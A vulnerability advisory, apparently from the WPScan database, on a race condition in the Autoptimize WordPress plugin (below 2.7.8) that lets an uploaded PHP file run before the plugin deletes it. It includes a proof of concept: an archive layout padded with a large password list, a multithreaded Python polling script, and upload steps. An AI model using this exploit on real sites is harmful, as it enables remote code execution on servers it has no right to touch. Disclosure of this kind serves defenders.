Lucene search

K
wpvulndbMarcin WęgłowskiWPVDB-ID:85C0A564-2E56-413D-BC3A-1039343207E4
HistoryOct 09, 2020 - 12:00 a.m.

Autoptimize < 2.7.8 - Race Condition leading to RCE

2020-10-0900:00:00
Marcin Węgłowski
wpscan.com
6

The plugin attempts to remove potential malicious files from the extracted archive uploaded via the ‘Import Settings’ feature, however this is not sufficient to protect against RCE as a race condition can be achieved in between the moment the file is extracted on the disk but not yet removed. It is a bypass of CVE-2020-24948.

PoC

To increase the period between extraction of a file and its removal I added another, bigger file to the archive. In fact it was a 4MB list of passwords. This results in having more time between extraction of first (test.php) and second (zzz.txt) files, so that test.php is available for more time. Exemplary file to use as a second file (zzz.txt) could be for example: https://gitlab.com/kalilinux/packages/seclists/blob/0aab3b70769ed9faf79b3c1159fb32ef131c7ee6/Passwords/xato-net-10-million-passwords-dup.txt The structure of an archive is as presented: $ zip -sf upload.zip Archive contains: settings.json test.php zzz.txt Total 3 entries (4366552 bytes) settings.json is an empty file. Python Script for Race Condition: #!/usr/bin/python import requests from threading import Thread def requestor(name): while True: response = requests.get(‘http://my_address_here/wp/wp-content/uploads/ao_ccss/test.php’) if ‘PHP Version’ in response.text: print(name + " Race condition succeeded.") # print(response.text) exit() threads = [] for i in range(0, 5): t = Thread(target=requestor, args=(“Thread-”+str(i), )) t.start() threads.append(t) for t in threads: t.join() Steps to reproduce the vulnerability: Run the script: python3 racecondition.php Upload zip archive using upload here: http://my_address_here/wp/wp-admin/options-general.php?page=ao_critcss The script should give an output similar to this one: Thread-4 Race condition succeeded. In my case, race condition almost always succeed on remote host.

CPENameOperatorVersion
autoptimizelt2.7.8
Related for WPVDB-ID:85C0A564-2E56-413D-BC3A-1039343207E4